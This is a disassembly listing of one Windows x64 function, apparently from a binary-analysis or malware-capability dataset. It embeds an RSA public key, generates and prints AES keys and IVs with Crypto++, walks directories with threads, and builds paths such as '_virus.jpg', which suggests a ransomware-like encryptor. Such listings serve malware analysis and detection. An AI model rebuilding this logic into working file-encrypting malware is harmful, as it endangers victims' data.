Function at 0x140009940
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [0x14008a190]
xor rax, rsp
mov qword [rbp + 0x500], rax
xor r12d, r12d
mov dword [rsp + 0x40], r12d
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rcx, [rbp + 0xb0]
call fcn.140005e80
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x1400099a2
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140011f80
lea rdx, [0x1400103d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 8
jb 0x140009a07
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
lea rcx, [rbp + 0x48]
call fcn.140005e80
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp + 0x60]
cmp rdx, 8
jb 0x140009a90
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], r12w
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x218], r12
mov r8d, 0x1ba
lea rdx, str._____BEGIN_PUBLIC_KEY_____MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQBnB_qsHGDurKsw4ii3sSuD0aSHLAVbtVbYK8uZQGUKo9v8rafm05zi6PPHtA4uqvBk5PecCPLVIrQO0nxd7NWV9YXOID9YLETsA8xX0wnSZBoOpTLHksXu8Ziuyy4IHV3c_gDo73zoYPsOiiYXn3DYjLst08gcoE1OANJjArJtmdMYK6nNxwW0ojA4QtQJQ1tDRUzqma__gvp8pcKzE6DLyhruA6OXYpZ_oNMhoJFKcKt7dhes2_DyI1zM0LFJ2NCh7satebMyexuTZrOEk9NqE8SiJb2DT6SabS1mXEX7asvi9vn6tfhk58pgOlqbheuVcAS6T8vuTT32dH5AgMBAAE_____END_PUBLIC_KEY_____
lea rcx, [rbp + 0x200]
call fcn.140010c20
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
mov r13, 0xffffffffffffffff
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], r12
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r12
xor eax, eax
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], rax
lea rcx, [rbp + 0x230]
call fcn.140041fc0
nop
lea rdi, vtable.CryptoPP::AutoSeededRandomPool.0
mov qword [rbp + 0x230], rdi
xor edx, edx
lea r8d, [r13 + 0x21]
lea rcx, [rbp + 0x230]
call fcn.14003b820
nop
lea edx, [r13 + 0x11]
lea rcx, [rbp + 0x180]
call fcn.14000d740
lea edx, [r13 + 0x11]
lea rcx, [rbp + 0x160]
call fcn.14000d740
mov r8, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
lea rcx, [rbp + 0x230]
call fcn.140024100
mov r14, qword [rbp + 0x170]
mov r8, r14
mov r15, qword [rbp + 0x178]
mov rdx, r15
lea rcx, [rbp + 0x230]
call fcn.140024100
nop
mov qword [rbp + 0x230], rdi
lea rcx, [rbp + 0x230]
call fcn.140004ad0
lea rdx, str.Generated_Key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010020
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbp + 0x360], xmm0
movups xmmword [rbp + 0x370], xmm0
movups xmmword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x3a0], xmm0
mov ecx, 0x98
call fcn.1400476d8
mov rdi, rax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
movups xmmword [rdi + 0x50], xmm0
movups xmmword [rdi + 0x60], xmm0
movups xmmword [rdi + 0x70], xmm0
movups xmmword [rdi + 0x80], xmm0
mov qword [rdi + 0x90], rax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
xor r8d, r8d
lea rdx, [0x140053c61]
lea rcx, [rbp - 0x30]
call fcn.140010c20
nop
mov dword [rsp + 0x40], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
lea r8d, [r13 + 2]
lea rdx, [0x140054614]
lea rcx, [rbp - 0x50]
call fcn.140010c20
nop
mov dword [rsp + 0x40], 3
lea ecx, [r13 + 0x29]
call fcn.1400476d8
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 0x20], rcx
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rcx, rax
call fcn.140005510
nop
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rdx, rax
mov rcx, rdi
call fcn.1400051d0
nop
mov qword [rsp + 0x20], rax
mov r8, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
lea rcx, [rbp + 0x340]
call fcn.1400043b0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140009d90
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140009dde
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009dd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009dd9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
lea rdx, [0x14000ffe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Generated_IV:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010020
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm0
movups xmmword [rbp + 0x330], xmm0
mov ecx, 0x98
call fcn.1400476d8
mov rdi, rax
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
movups xmmword [rdi + 0x50], xmm0
movups xmmword [rdi + 0x60], xmm0
movups xmmword [rdi + 0x70], xmm0
movups xmmword [rdi + 0x80], xmm0
mov qword [rdi + 0x90], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
xor r8d, r8d
lea rdx, [0x140053c61]
lea rcx, [rsp + 0x70]
call fcn.140010c20
nop
mov dword [rsp + 0x40], 4
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r12
mov qword [rbp + 8], r12
mov r8d, 1
lea rdx, [0x140054614]
lea rcx, [rbp - 0x10]
call fcn.140010c20
nop
mov dword [rsp + 0x40], 0xc
mov ecx, 0x28
call fcn.1400476d8
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 0x20], rcx
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rcx, rax
call fcn.140005510
nop
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rcx
mov rdx, rax
mov rcx, rdi
call fcn.1400051d0
nop
mov qword [rsp + 0x20], rax
mov r8, r14
mov rdx, r15
lea rcx, [rbp + 0x2d0]
call fcn.1400043b0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140009f89
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009f84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009f84
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov esi, r12d
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140009fdb
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009fd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009fd6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], sil
lea rdx, [0x14000ffe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
mov r8d, 8
lea rdx, str.test.jpg
lea rcx, [rbp + 0x10]
call fcn.140010c20
nop
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x10]
call fcn.140007310
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000a07c
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a077
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a077
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
call qword [sym.imp.MSVCP140.dll__Thrd_hardware_concurrency]
mov edi, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x14000a09d
lea rdx, str.Number_of_threads_is_not_supported_or_not_detected.
call fcn.140010020
jmp 0x14000a0b4
lea rdx, str.Number_of_hardware_threads:
call fcn.140010020
mov edx, edi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
lea rdx, [0x14000ffe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rcx, qword [rbp + 0x120]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x3b0]
call fcn.140046fe8
mov edx, eax
test eax, eax
jne 0x14000a130
mov ecx, dword [rbp + 0x3c0]
bt ecx, 0xa
jae 0x14000a125
mov eax, dword [rbp + 0x3c4]
cmp eax, 0xa000000c
jne 0x14000a117
lea ecx, [rdx + 4]
jmp 0x14000a14d
cmp eax, 0xa0000003
jne 0x14000a125
mov ecx, 0xa
jmp 0x14000a14d
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x14000a14d
sub eax, 2
je 0x14000a148
sub eax, 1
je 0x14000a148
sub eax, 0x32
je 0x14000a148
cmp eax, 0x46
je 0x14000a148
xor al, al
jmp 0x14000a14a
mov al, 1
movzx ecx, al
mov dword [rsp + 0x60], edx
lea rax, [0x14008a1c8]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x220], xmm0
test ecx, ecx
je 0x14000a1cf
cmp ecx, 1
setne al
test al, al
je 0x14000a228
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rcx, qword [rbp + 0x120]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x3d0]
call fcn.140046fe8
mov edx, eax
test eax, eax
jne 0x14000a1f4
mov ecx, dword [rbp + 0x3e0]
bt ecx, 0xa
jae 0x14000a1e9
mov eax, dword [rbp + 0x3e4]
cmp eax, 0xa000000c
jne 0x14000a1db
lea ecx, [rdx + 4]
jmp 0x14000a211
xor al, al
test edx, edx
jne 0x14000ad8b
jmp 0x14000a174
cmp eax, 0xa0000003
jne 0x14000a1e9
mov ecx, 0xa
jmp 0x14000a211
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x14000a211
sub eax, 2
je 0x14000a20c
sub eax, 1
je 0x14000a20c
sub eax, 0x32
je 0x14000a20c
cmp eax, 0x46
je 0x14000a20c
xor al, al
jmp 0x14000a20e
mov al, 1
movzx ecx, al
test edx, edx
je 0x14000a223
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x14000ada5
cmp ecx, 3
je 0x14000a24b
lea rdx, str.Invalid_directory_path_or_directory_does_not_exist.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140010020
lea rdx, [0x14000ffe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Generated_AES_Key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010020
mov r15, qword [0x140090698]
mov r14, qword [0x140090690]
cmp r14, r15
je 0x14000a2ce
lea rdx, [0x140001e60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, 2
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rdi, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call rdi
mov rcx, qword [rbx]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rbx + 0x58], 0x30
movzx edx, byte [r14]
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc r14
cmp r14, r15
jne 0x14000a271
lea rdx, [0x14000ffe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1c0]
call fcn.140009380
nop
lea rdx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae rdx, qword [rbp + 0x1c0]
mov r8, qword [rbp + 0x1d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011dc0
lea rdx, [0x14000ffe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xe0]
call fcn.14000dcd0
mov rcx, rax
call fcn.140005f80
lea rdx, str.here__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010020
lea rdx, [0x14000ffe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Using_a_range_based_for_loop:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010020
lea rdx, [0x14000ffe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [0x1400906a8]
mov r14, qword [0x1400906b0]
cmp rdi, r14
je 0x14000a582
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rcx, rdi
cmp qword [rdi + 0x18], 8
jb 0x14000a3c3
mov rcx, qword [rdi]
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
call fcn.140046dd0
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x70], xmm0
lea r8, [rbp + 0x70]
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.14000f930
or esi, 0x60
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rax, qword [rbp - 0x70]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x38], rax
mov word [rbp + 0x40], 0x5c22
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.140012150
mov rbx, rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x14000a45c
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a457
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a574
call fcn.1400475a0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
lea rdx, [0x140054720]
mov rcx, rbx
call fcn.140010020
lea rdx, [rbp + 0x90]
mov rcx, rdi
call fcn.14000fa90
bts esi, 7
mov dword [rsp + 0x40], esi
lea rax, [rbp + 0x160]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x180]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x90]
lea rcx, [rbp + 0x80]
call fcn.140010430
nop
mov rdx, qword [0x1400906c8]
cmp rdx, qword [0x1400906d0]
je 0x14000a4e5
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rdx], rcx
mov byte [rdx + 8], 1
add qword [0x1400906c8], 0x10
jmp 0x14000a4ee
mov r8, rax
call fcn.1400123f0
nop
mov rcx, qword [rbp + 0x80]
test rcx, rcx
je 0x14000a52e
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000a52a
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x14000a520
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x14000a52a
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov esi, dword [rsp + 0x40]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x14000a56b
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a566
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a57b
call fcn.1400475a0
add rdi, 0x20
jmp 0x14000a3a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, [0x14000ffe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [0x1400906c0]
mov rbx, qword [0x1400906c8]
cmp rdi, rbx
je 0x14000a5d4
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000adb2
cmp byte [rdi + 8], 0
je 0x14000a5c8
cmp byte [rcx + 0xb8], 0
jne 0x14000adb2
mov rax, qword [rcx]
call qword [rax + 8]
add rdi, 0x10
jmp 0x14000a5a4
mov ecx, 4
mov rax, qword gs:[0x58]
mov rax, qword [rax]
lea rdi, [0x140090790]
mov eax, dword [rcx + rax]
cmp dword [0x1400907d0], eax
jle 0x14000a68a
lea rcx, [0x1400907d0]
call fcn.140047650
cmp dword [0x1400907d0], 0xffffffff
jne 0x14000a68a
lea rax, [0x140077318]
mov qword [0x140090798], rax
lea rax, vtable.bin2cpp::CheckJpgFile.1.0
mov qword [0x140090790], rax
lea rax, vtable.bin2cpp::CheckJpgFile.0
mov qword [0x1400907c8], rax
mov dword [0x1400907c4], r12d
xorps xmm0, xmm0
movups xmmword [0x1400907a0], xmm0
mov qword [0x1400907b0], r12
mov qword [0x1400907b8], 0xf
mov byte [0x1400907a0], 0
mov rcx, rdi
call fcn.140013fe0
nop
lea rcx, [0x14004b750]
call fcn.14004794c
nop
lea rcx, [0x1400907d0]
call fcn.1400475e4
mov rax, qword [0x140090798]
movsxd rcx, dword [rax + 4]
add rcx, 8
add rcx, rdi
mov rax, qword [rcx]
lea rdx, str.yo.jpg
call qword [rax + 0x28]
lea rdx, [rbp + 0x3f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jne 0x14000a700
lea rdx, str.Failed_to_get_the_current_directory._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140010020
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14000ffe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x14000abac
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], r12
lea rax, [rbp + 0x3f0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000a722
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x1a0]
call fcn.140010c20
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], r12
mov qword [rbp + 0x1f8], r12
mov r8d, 0xa
lea rdx, str._virus.jpg
lea rcx, [rbp + 0x1e0]
call fcn.140010c20
nop
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
mov rcx, qword [rbp + 0x1b0]
sub rax, rcx
mov rdx, qword [rbp + 0x1f0]
cmp rax, rdx
jb 0x14000adbd
lea r9, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae r9, qword [rbp + 0x1a0]
lea rax, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0x10
cmovae rax, qword [rbp + 0x1e0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x1a0]
movzx edx, byte [rsp + 0x44]
lea rcx, [rbp + 0x140]
call fcn.140011930
nop
lea rdx, str.Current_Directory:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010020
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae rdx, qword [rbp + 0x140]
mov r8, qword [rbp + 0x150]
mov rcx, rax
call fcn.140011dc0
lea rdx, [0x14000ffe0]
mov rcx, rax
